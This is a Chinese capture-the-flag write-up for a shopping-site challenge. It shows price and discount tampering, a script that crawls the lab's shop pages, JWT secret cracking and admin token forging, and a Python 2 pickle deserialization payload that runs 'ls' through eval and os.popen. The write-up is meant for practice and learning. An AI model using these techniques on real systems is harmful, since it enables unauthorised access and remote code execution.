正文
。。。。。。。。。。。。。。。。。。。。
6
看样子是一个购物平台
爆一下目录
我们先注册一个用户
登录后的页面
然后尝试购买
发现居然有打折
由于囊中羞涩,便只好抓个包看看是否存在漏洞可以利用
修改price
未果
修改discount
成功购买
但是这并不能说明什么
我们再回到KUNKUN应援团查看
也就是说,我们需要购买lv6的账号才可进行下一步
翻了十几页实在没有闲情逸致翻下去了,便想着写个脚本帮我们找
f12看一看有没有什么特别的东西
那么可以确定的是,等级图片与名字相对应
于是写出如下脚本
python">import requests
url_base = "http://61.147.171.105:58948/shop?page="
search_item = "lv6.png"
for page_num in range(1, 501):#这里选择500是因为它一共500页
url = url_base + str(page_num)
response = requests.get(url)
if search_item in response.text:
print(f"Found {search_item} on page {page_num}: {url}")
6级号就是不一样,hint都比别人嚣张一些//DOGE
老样子,抓包改包
康康 /blg_m4mber
烦人
继续抓包
这里拓展一下小知识
JWT用于在网络上以 JSON 对象的形式安全地传输信息。JWT 可以在用户和服务之间传递信息,通常用于身份验证和信息交换。
JWT 由三部分组成,每部分之间使用点号.分隔:
Header(头部):包含了令牌的类型(即 JWT)以及所使用的加密算法。
Payload(载荷):包含了要传输的信息,比如用户的身份信息、权限等。
Signature(签名):使用指定的算法对 Header 和 Payload 进行签名,确保数据的完整性和验证发送方的身份。
然而,需要注意的是,由于 JWT 是基于 Base64 编码的,因此其中的信息是可以被解码的,因此不应该在 JWT 中存储敏感信息,如密码等。
丢jwt在线工具里看看
将789修改为admin即可
但是我们还需要知道对称密钥是什么,由此需要一个工具:jwtcracker
.........
你知道我家哥哥有多努力吗?我家哥哥那么努力,唱功那么好,发烧40度还站在舞台上,你们怎么还恬不知耻黑我家哥哥。。。。。。。。。。
不好意思串台了
知道密钥后对原本的进行修改
成功
点击一键成为大会员
再就没有什么可以利用的信息了
我们f12看看
好好好
下载下来后进行代码审计
最后在xx\www\sshop\views\Admin.py中查出端倪
由此联想pickle序列化
可以看一下这位师傅的文章
Python反序列化_python 反序列化-CSDN博客文章浏览阅读1.3k次。python反序列化_python 反序列化https://blog.csdn.***/qq_61209261/article/details/126085518?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170977682816800185818861%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=170977682816800185818861&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-126085518-null-null.142
这里对be***e参数的值做了url解码后再进行反序列化,我们只需要与其相反即可
还有一点需要注意,这里涉及的所有python代码都是python2.x编写的,所以我们也需要与其相同
import pickle
import urllib
class Exp(object):
def __reduce__(self):
a="__import__('os').popen('ls').read()"
return(eval,(a,))
b=pickle.dumps(Exp())
print urllib.quote(b)
成功被执行,接下来就是找flag
成功
总结
总体来说,难度不大,不过我是越来越喜欢攻防世界了//doge
求赞求关注,感谢!!!!